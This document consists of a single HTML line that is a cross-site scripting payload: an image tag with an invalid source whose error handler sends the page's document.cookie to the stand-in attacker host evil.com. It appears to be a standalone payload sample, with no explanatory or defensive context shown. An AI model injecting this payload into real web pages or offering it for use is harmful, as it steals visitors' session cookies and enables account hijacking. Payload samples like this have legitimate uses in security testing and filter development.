<img src=x onerror=fetch("https://evil.com/?c="+document.cookie)>